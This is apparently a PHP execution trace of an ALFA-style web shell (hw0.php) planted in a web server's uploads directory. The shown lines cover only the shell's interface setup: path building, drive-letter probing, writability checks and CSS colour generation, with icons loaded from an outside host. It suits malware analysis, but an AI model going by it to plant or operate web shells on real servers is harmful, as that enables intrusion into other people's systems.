3 A /var/www/html/uploads/hw0.php 1042 $j = 0
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'uploads/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'uploads/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1046 $cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3 A /var/www/html/uploads/hw0.php 1039 $i++
3 A /var/www/html/uploads/hw0.php 1048 $drives = ''
4 93 0 0.016247 2774344 range 0 /var/www/html/uploads/hw0.php 1049 2 'a' 'z'
4 93 1 0.016262 2775744
4 93 R [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4 94 0 0.016293 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'a:\\'
4 94 1 0.016314 2775752
4 94 R FALSE
4 95 0 0.016329 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'b:\\'
4 95 1 0.016344 2775752
4 95 R FALSE
4 96 0 0.016357 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'c:\\'
4 96 1 0.016371 2775752
4 96 R FALSE
4 97 0 0.016385 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'd:\\'
4 97 1 0.016399 2775752
4 97 R FALSE
4 98 0 0.016412 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'e:\\'
4 98 1 0.016426 2775752
4 98 R FALSE
4 99 0 0.016438 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'f:\\'
4 99 1 0.016453 2775752
4 99 R FALSE
4 100 0 0.016466 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'g:\\'
4 100 1 0.016480 2775752
4 100 R FALSE
4 101 0 0.016494 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'h:\\'
4 101 1 0.016508 2775752
4 101 R FALSE
4 102 0 0.016521 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'i:\\'
4 102 1 0.016535 2775752
4 102 R FALSE
4 103 0 0.016548 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'j:\\'
4 103 1 0.016562 2775752
4 103 R FALSE
4 104 0 0.016575 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'k:\\'
4 104 1 0.016589 2775752
4 104 R FALSE
4 105 0 0.016602 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'l:\\'
4 105 1 0.016616 2775752
4 105 R FALSE
4 106 0 0.016629 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'm:\\'
4 106 1 0.016643 2775752
4 106 R FALSE
4 107 0 0.016656 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'n:\\'
4 107 1 0.016670 2775752
4 107 R FALSE
4 108 0 0.016682 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'o:\\'
4 108 1 0.016696 2775752
4 108 R FALSE
4 109 0 0.016709 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'p:\\'
4 109 1 0.016722 2775752
4 109 R FALSE
4 110 0 0.016735 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'q:\\'
4 110 1 0.016749 2775752
4 110 R FALSE
4 111 0 0.016761 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'r:\\'
4 111 1 0.016775 2775752
4 111 R FALSE
4 112 0 0.016789 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 's:\\'
4 112 1 0.016803 2775752
4 112 R FALSE
4 113 0 0.016816 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 't:\\'
4 113 1 0.016830 2775752
4 113 R FALSE
4 114 0 0.016843 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'u:\\'
4 114 1 0.016857 2775752
4 114 R FALSE
4 115 0 0.016870 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'v:\\'
4 115 1 0.016884 2775752
4 115 R FALSE
4 116 0 0.016897 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'w:\\'
4 116 1 0.016911 2775752
4 116 R FALSE
4 117 0 0.016924 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'x:\\'
4 117 1 0.016938 2775752
4 117 R FALSE
4 118 0 0.016951 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'y:\\'
4 118 1 0.016965 2775752
4 118 R FALSE
4 119 0 0.016978 2775712 is_dir 0 /var/www/html/uploads/hw0.php 1050 1 'z:\\'
4 119 1 0.016991 2775752
4 119 R FALSE
3 A /var/www/html/uploads/hw0.php 1052 $csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4 120 0 0.017030 2774344 __showicon 1 /var/www/html/uploads/hw0.php 1058 1 'alfamini'
4 A /var/www/html/uploads/hw0.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/hw0.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/hw0.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 120 1 0.017082 2774344
4 120 R 'http://solevisible.com/images/alfamini.png'
4 121 0 0.017447 2789304 alfa_getColor 1 /var/www/html/uploads/hw0.php 1069 1 'header_values'
4 A /var/www/html/uploads/hw0.php 618 $target = '#67ABDF'
4 121 1 0.017481 2789304
4 121 R '#67ABDF'
4 122 0 0.017497 2790840 __showicon 1 /var/www/html/uploads/hw0.php 1069 1 'alfamini'
4 A /var/www/html/uploads/hw0.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/hw0.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/hw0.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 122 1 0.017548 2790840
4 122 R 'http://solevisible.com/images/alfamini.png'
4 123 0 0.017566 2794936 __showicon 1 /var/www/html/uploads/hw0.php 1069 1 'alfamini'
4 A /var/www/html/uploads/hw0.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/hw0.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/hw0.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 123 1 0.017615 2794936
4 123 R 'http://solevisible.com/images/alfamini.png'
4 124 0 0.017632 2794936 __showicon 1 /var/www/html/uploads/hw0.php 1069 1 'btn'
4 A /var/www/html/uploads/hw0.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/hw0.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/hw0.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 124 1 0.017678 2794936
4 124 R 'http://solevisible.com/images/btn.png'
4 125 0 0.017695 2794936 is_writable 0 /var/www/html/uploads/hw0.php 1070 1 '/var/www/html/uploads/'
4 125 1 0.017713 2794976
4 125 R TRUE
4 126 0 0.017729 2799032 alfaCssLoadColors 1 /var/www/html/uploads/hw0.php 1070 0
4 A /var/www/html/uploads/hw0.php 627 $css = ''
4 A /var/www/html/uploads/hw0.php 628 $key = 'shell_border'
4 A /var/www/html/uploads/hw0.php 634 $k = '.header'
5 127 0 0.017774 2799032 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'shell_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 127 1 0.017811 2799032
5 127 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 128 0 0.017836 2799032 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'border: 7px solid {color}'
5 128 1 0.017853 2799184
5 128 R 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.header{border: 7px solid #0E304A}'
4 A /var/www/html/uploads/hw0.php 634 $k = '#meunlist'
5 129 0 0.017902 2799152 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'shell_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 129 1 0.017937 2799152
5 129 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 130 0 0.017962 2799152 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 130 1 0.017977 2799296
5 130 R 'border-color: #0E304A'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/hw0.php 637 $css .= '#meunlist{border-color: #0E304A}'
4 A /var/www/html/uploads/hw0.php 634 $k = '#hidden_sh'
5 131 0 0.018030 2799176 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'shell_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 131 1 0.018065 2799176
5 131 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 132 0 0.018089 2799176 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'background-color: {color}'
5 132 1 0.018104 2799328
5 132 R 'background-color: #0E304A'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #0E304A'
4 A /var/www/html/uploads/hw0.php 637 $css .= '#hidden_sh{background-color: #0E304A}'
4 A /var/www/html/uploads/hw0.php 634 $k = '.ajaxarea'
5 133 0 0.018153 2799216 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'shell_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 133 1 0.018187 2799216
5 133 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 134 0 0.018211 2799216 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 134 1 0.018227 2799368
5 134 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.ajaxarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/hw0.php 634 $k = '.foot'
5 135 0 0.018274 2799280 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'shell_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 135 1 0.018308 2799280
5 135 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 136 0 0.018335 2799280 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 136 1 0.018350 2799424
5 136 R 'border-color: #0E304A'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.foot{border-color: #0E304A}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_vars'
5 137 0 0.018402 2799272 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_vars'
5 A /var/www/html/uploads/hw0.php 618 $target = '#27979B'
5 137 1 0.018427 2799272
5 137 R '#27979B'
4 A /var/www/html/uploads/hw0.php 630 $value = '#27979B'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_vars{color: #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_values'
5 138 0 0.018473 2799304 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_values'
5 A /var/www/html/uploads/hw0.php 618 $target = '#67ABDF'
5 138 1 0.018497 2799304
5 138 R '#67ABDF'
4 A /var/www/html/uploads/hw0.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_values{color: #67ABDF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_on'
5 139 0 0.018542 2799336 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_on'
5 A /var/www/html/uploads/hw0.php 618 $target = '#00FF00'
5 139 1 0.018566 2799336
5 139 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_on{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_off'
5 140 0 0.018611 2799400 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_off'
5 A /var/www/html/uploads/hw0.php 618 $target = '#ff0000'
5 140 1 0.018634 2799400
5 140 R '#ff0000'
4 A /var/www/html/uploads/hw0.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_off{color: #ff0000;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_none'
5 141 0 0.018684 2799400 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_none'
5 A /var/www/html/uploads/hw0.php 618 $target = '#00FF00'
5 141 1 0.018707 2799400
5 141 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_none{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'home_shell'
5 142 0 0.018751 2799464 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'home_shell'
5 A /var/www/html/uploads/hw0.php 618 $target = '#ff0000'
5 142 1 0.018774 2799464
5 142 R '#ff0000'
4 A /var/www/html/uploads/hw0.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.home_shell{color: #ff0000;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'home_shell:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.home_shell:hover'
5 143 0 0.018829 2799464 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'home_shell:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5 143 1 0.018858 2799464
5 143 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 144 0 0.018882 2799464 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 144 1 0.018898 2799600
5 144 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.home_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'back_shell'
5 145 0 0.018943 2799520 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'back_shell'
5 A /var/www/html/uploads/hw0.php 618 $target = '#efbe73'
5 145 1 0.018967 2799520
5 145 R '#efbe73'
4 A /var/www/html/uploads/hw0.php 630 $value = '#efbe73'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.back_shell{color: #efbe73;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'back_shell:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.back_shell:hover'
5 146 0 0.019022 2799520 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'back_shell:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5 146 1 0.019052 2799520
5 146 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 147 0 0.019075 2799520 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 147 1 0.019089 2799656
5 147 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.back_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_pwd'
5 148 0 0.019135 2799584 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_pwd'
5 A /var/www/html/uploads/hw0.php 618 $target = '#00FF00'
5 148 1 0.019159 2799584
5 148 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_pwd{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_pwd:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.header_pwd:hover'
5 149 0 0.019213 2799584 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'header_pwd:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5 149 1 0.019241 2799584
5 149 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 150 0 0.019265 2799584 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 150 1 0.019280 2799720
5 150 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.header_pwd:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_drive'
5 151 0 0.019328 2799712 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_drive'
5 A /var/www/html/uploads/hw0.php 618 $target = '#00FF00'
5 151 1 0.019352 2799712
5 151 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_drive{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_drive:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.header_drive:hover'
5 152 0 0.019407 2799712 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'header_drive:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5 152 1 0.019435 2799712
5 152 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 153 0 0.019458 2799712 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 153 1 0.019473 2799848
5 153 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.header_drive:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'header_show_all'
5 154 0 0.019518 2799712 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'header_show_all'
5 A /var/www/html/uploads/hw0.php 618 $target = '#00FF00'
5 154 1 0.019542 2799712
5 154 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.header_show_all{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'disable_functions'
5 155 0 0.019586 2799712 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'disable_functions'
5 A /var/www/html/uploads/hw0.php 618 $target = '#ff0000'
5 155 1 0.019610 2799712
5 155 R '#ff0000'
4 A /var/www/html/uploads/hw0.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.disable_functions{color: #ff0000;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'footer_text'
5 156 0 0.019655 2799840 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'footer_text'
5 A /var/www/html/uploads/hw0.php 618 $target = '#27979B'
5 156 1 0.019679 2799840
5 156 R '#27979B'
4 A /var/www/html/uploads/hw0.php 630 $value = '#27979B'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.footer_text{color: #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'menu_options'
5 157 0 0.019724 2799840 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'menu_options'
5 A /var/www/html/uploads/hw0.php 618 $target = '#27979B'
5 157 1 0.019747 2799840
5 157 R '#27979B'
4 A /var/www/html/uploads/hw0.php 630 $value = '#27979B'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.menu_options{color: #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'menu_options:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.menu_options:hover'
5 158 0 0.019803 2799840 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'menu_options:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5 158 1 0.019834 2799840
5 158 R '#646464'
4 A /var/www/html/uploads/hw0.php 635 $color = '#646464'
5 159 0 0.019858 2799840 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#646464' 'background-color: {color};font-weight: unset;'
5 159 1 0.019875 2800016
5 159 R 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'options_list'
4 A /var/www/html/uploads/hw0.php 634 $k = '.content_options_holder .header center a'
5 160 0 0.019945 2800008 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'options_list'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5 160 1 0.019976 2800008
5 160 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 635 $color = '#00FF00'
5 161 0 0.020000 2800008 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#00FF00' 'color: {color};'
5 161 1 0.020014 2800144
5 161 R 'color: #00FF00;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.content_options_holder .header center a{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'options_list:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.content_options_holder .header center a:hover'
5 162 0 0.020075 2799968 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'options_list:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5 162 1 0.020106 2799968
5 162 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 163 0 0.020129 2799968 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 163 1 0.020144 2800104
5 163 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'options_list_header'
4 A /var/www/html/uploads/hw0.php 634 $k = '.txtfont_header'
5 164 0 0.020203 2800096 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'options_list_header'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5 164 1 0.020234 2800096
5 164 R '#59cc33'
4 A /var/www/html/uploads/hw0.php 635 $color = '#59cc33'
5 165 0 0.020258 2800096 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#59cc33' 'color: {color};'
5 165 1 0.020273 2800232
5 165 R 'color: #59cc33;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #59cc33;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.txtfont_header{color: #59cc33;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'options_list_text'
4 A /var/www/html/uploads/hw0.php 634 $k = '.txtfont,.tbltxt'
5 166 0 0.020331 2800096 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'options_list_text'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5 166 1 0.020361 2800096
5 166 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 167 0 0.020384 2800096 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 167 1 0.020399 2800232
5 167 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'Alfa+'
4 A /var/www/html/uploads/hw0.php 634 $k = '.alfa_plus'
5 168 0 0.020457 2800096 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'Alfa+'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5 168 1 0.020487 2800096
5 168 R '#06ff0f'
4 A /var/www/html/uploads/hw0.php 635 $color = '#06ff0f'
5 169 0 0.020511 2800096 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#06ff0f' 'color: {color};font-weight: unset;'
5 169 1 0.020527 2800256
5 169 R 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'hidden_shell_text'
4 A /var/www/html/uploads/hw0.php 634 $k = '#hidden_sh a'
5 170 0 0.020591 2800120 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'hidden_shell_text'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5 170 1 0.020621 2800120
5 170 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 635 $color = '#00FF00'
5 171 0 0.020644 2800120 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#00FF00' 'color: {color};'
5 171 1 0.020660 2800256
5 171 R 'color: #00FF00;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '#hidden_sh a{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'hidden_shell_version'
5 172 0 0.020707 2800352 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'hidden_shell_version'
5 A /var/www/html/uploads/hw0.php 618 $target = '#ff0000'
5 172 1 0.020731 2800352
5 172 R '#ff0000'
4 A /var/www/html/uploads/hw0.php 630 $value = '#ff0000'
